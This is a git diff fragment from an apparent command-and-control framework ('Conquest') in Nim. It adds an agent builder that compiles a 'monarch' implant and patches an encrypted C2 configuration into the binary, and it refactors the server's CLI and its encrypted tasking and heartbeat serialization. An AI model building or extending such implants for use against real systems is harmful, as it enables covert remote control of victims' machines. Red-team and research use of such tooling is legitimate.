packer.add(uint8(CONFIG_PUBLIC_KEY)) + packer.add(uint32(sizeof(Key))) + packer.addData(cq.keyPair.publicKey) + + # Add C2 profile string + let profileString = cq.profile.toTomlString() + packer.add(uint8(CONFIG_PROFILE)) + packer.add(uint32(profileString.len)) + packer.addData(string.toBytes(profileString)) + + let data = packer.pack() + cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.") + return data + +proc compile(cq: Conquest, placeholderLength: int): string = + + let + cqDir = cq.profile.getString("conquest_directory") + configFile = fmt"{cqDir}/src/agent/nim.cfg" + exeFile = fmt"{cqDir}/bin/monarch.x64.exe" + agentBuildScript = fmt"{cqDir}/src/agent/build.sh" + + # Create/overwrite nim.cfg file to set placeholder for agent configuration + let config = fmt""" + # Agent configuration + -d:CONFIGURATION={PLACEHOLDER & "A".repeat(placeholderLength - (2 * len(PLACEHOLDER))) & PLACEHOLDER} + -o:"{exeFile}" + """.replace(" ", "") + + writeFile(configFile, config) + cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") + + # Build agent by executing the ./build.sh script on the system. + cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Compiling agent.") + + try: + # Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once + let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut}) + let outputStream = process.outputStream + + var line: string + while outputStream.readLine(line): + cq.writeLine(line) + + let exitCode = process.waitForExit() + + # Check if the build succeeded or not + if exitCode == 0: + cq.writeLine(fgGreen, "[*] ", resetStyle, "Agent payload generated successfully.") + return exeFile + else: + cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode) + return "" + + except CatchableError as err: + cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg) + return "" + +proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool = + + cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Patching profile configuration into agent.") + + try: + var exeBytes = readFile(unpatchedExePath) + + # Find placeholder + let placeholderPos = exeBytes.find(PLACEHOLDER) + if placeholderPos == -1: + raise newException(CatchableError, "Placeholder not found.") + + cq.writeLine(fgBlack, styleBright, "[+] ", resetStyle, fmt"Placeholder found at offset {placeholderPos}.") + # cq.writeLine(exeBytes[placeholderPos..placeholderPos + len(configuration)]) + + # Patch placeholder bytes + for i, c in Bytes.toString(configuration): + exeBytes[placeholderPos + i] = c + + writeFile(unpatchedExePath, exeBytes) + cq.writeLine(fgGreen, "[+] ", resetStyle, fmt"Agent payload patched successfully: {unpatchedExePath}.") + + except CatchableError as err: + cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg) + return false + + return true + +# Agent generation +proc agentBuild*(cq: Conquest, listener, sleep: string): bool {.discardable.} = + + # Verify that listener exists + if not cq.dbListenerExists(listener.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.") + return false + + let listener = cq.listeners[listener.toUpperAscii] + + var config: seq[byte] + if sleep.isEmptyOrWhitespace(): + # If no sleep value has been defined, take the default from the profile + config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep")) + else: + config = cq.serializeConfiguration(listener, parseInt(sleep)) + + let unpatchedExePath = cq.compile(config.len) + if unpatchedExePath.isEmptyOrWhitespace(): + return false + + if not cq.patch(unpatchedExePath, config): + return false + + return true + + + + + + + diff --git a/src/server/core/server.nim b/src/server/core/server.nim index cba07ff..d48d0bf 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -1,7 +1,7 @@ import prompt, terminal, argparse, parsetoml import strutils, strformat, times, system, tables -import ./[agent, listener] +import ./[agent, listener, builder] import ../[globals, utils] import ../db/database import ../../common/[types, utils, crypto, profile] @@ -53,8 +53,8 @@ var parser = newParser: command("build"): help("Generate a new agent to connect to an active listener.") option("-l", "--listener", help="Name of the listener.", required=true) - option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") ) - option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) + option("-s", "--sleep", help="Sleep delay in seconds." ) + # option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) command("help"): nohelpflag() @@ -104,7 +104,7 @@ proc handleConsoleCommand(cq: Conquest, args: string) = of "interact": cq.agentInteract(opts.agent.get.interact.get.name) of "build": - cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.payload) + cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep) else: cq.agentUsage() @@ -129,16 +129,13 @@ proc header() = proc init*(T: type Conquest, profile: Profile): Conquest = var cq = new Conquest - var prompt = Prompt.init() - cq.prompt = prompt + cq.prompt = Prompt.init() cq.listeners = initTable[string, Listener]() cq.agents = initTable[string, Agent]() cq.interactAgent = nil - + cq.profile = profile cq.keyPair = loadKeyPair(profile.getString("private_key_file")) cq.dbPath = profile.getString("database_file") - cq.profile = profile - return cq proc startServer*(profilePath: string) = diff --git a/src/server/core/task.nim b/src/server/core/task.nim index 63544b1..8190c39 100644 --- a/src/server/core/task.nim +++ b/src/server/core/task.nim @@ -1,7 +1,7 @@ import times, strformat, terminal, tables, json, sequtils, strutils import ../utils -import ../message/parser +import ../protocol/parser import ../../modules/manager import ../../common/[types, utils] @@ -62,6 +62,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) = # Handle 'back' command if parsedArgs[0] == "back": + cq.interactAgent = nil return # Handle 'help' command diff --git a/src/server/message/packer.nim b/src/server/protocol/packer.nim similarity index 88% rename from src/server/message/packer.nim rename to src/server/protocol/packer.nim index a9ad8ee..6136358 100644 --- a/src/server/message/packer.nim +++ b/src/server/protocol/packer.nim @@ -21,7 +21,7 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] = packer.reset() # Encrypt payload body - let (encData, gmac) = encrypt(cq.agents[uuidToString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr) + let (encData, gmac) = encrypt(cq.agents[Uuid.toString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr) # Set authentication tag (GMAC) task.header.gmac = gmac @@ -42,7 +42,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult = # Decrypt payload let payload = unpacker.getBytes(int(header.size)) - let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) + let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data unpacker = Unpacker.init(Bytes.toString(decData)) @@ -102,8 +102,8 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = sleep = unpacker.getUint32() return Agent( - agentId: uuidToString(header.agentId), - listenerId: uuidToString(listenerId), + agentId: Uuid.toString(header.agentId), + listenerId: Uuid.toString(listenerId), username: username, hostname: hostname, domain: domain, @@ -130,7 +130,7 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat = # Decrypt payload let payload = unpacker.getBytes(int(header.size)) - let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) + let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header) # Deserialize decrypted data unpacker = Unpacker.init(Bytes.toString(decData)) diff --git a/src/server/message/parser.nim b/src/server/protocol/parser.nim similarity index 94% rename from src/server/message/parser.nim rename to src/server/protocol/parser.nim index ea3d9da..7117cb8 100644 --- a/src/server/message/parser.nim +++ b/src/server/protocol/parser.nim @@ -77,8 +77,8 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = # Construct the task payload prefix var task: Task - task.taskId = uuidToUint32(generateUUID()) - task.listenerId = uuidToUint32(cq.interactAgent.listenerId) + task.taskId = string.toUuid(generateUUID()) + task.listenerId = string.toUuid(cq.interactAgent.listenerId) task.timestamp = uint32(now().toTime().toUnix()) task.command = cast[uint16](command.commandType) task.argCount = uint8(arguments.len) @@ -105,7 +105,7 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = taskHeader.packetType = cast[uint8](MSG_TASK) taskHeader.flags = cast[uint16](FLAG_ENCRYPTED) taskHeader.size = 0'u32 - taskHeader.agentId = uuidtoUint32(cq.interactAgent.agentId) + taskHeader.agentId = string.toUuid(cq.interactAgent.agentId) taskHeader.seqNr = nextSequence(taskHeader.agentId) taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM taskHeader.gmac = default(AuthenticationTag)